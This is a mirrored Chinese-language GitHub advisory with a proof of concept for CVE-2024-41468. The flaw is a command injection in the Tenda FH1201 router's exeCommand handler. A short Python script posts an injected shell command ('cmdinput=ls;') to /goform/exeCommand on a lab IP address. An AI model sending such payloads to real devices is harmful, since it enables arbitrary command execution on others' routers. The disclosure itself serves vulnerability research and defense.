mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 22:14:15 +00:00
27 lines
825 B
Markdown
27 lines
825 B
Markdown
# Tenda-FH1201存在命令注入漏洞(CVE-2024-41468)
|
||
|
||
Tenda FH1201 v1.2.0.14存在命令注入漏洞,位于exeCommand函数中,cmdinput参数未经任何过滤就被复制到栈空间v7中,然后执行,因此攻击者可以利用该漏洞执行任意命令
|
||
|
||
固件下载网站:https://www.tendacn.com/download/detail-3322.html
|
||
|
||

|
||
|
||
## poc
|
||
|
||
```python
|
||
import requests
|
||
|
||
ip = '192.168.74.145'
|
||
|
||
url = f"http://{ip}/goform/exeCommand"
|
||
|
||
|
||
data = "cmdinput=ls;"
|
||
ret = requests.post(url=url,data=data)
|
||
```
|
||
|
||

|
||
|
||
## 漏洞来源
|
||
|
||
- https://github.com/iotresearch/iot-vuln/blob/main/Tenda/FH1201/exeCommand/README.md |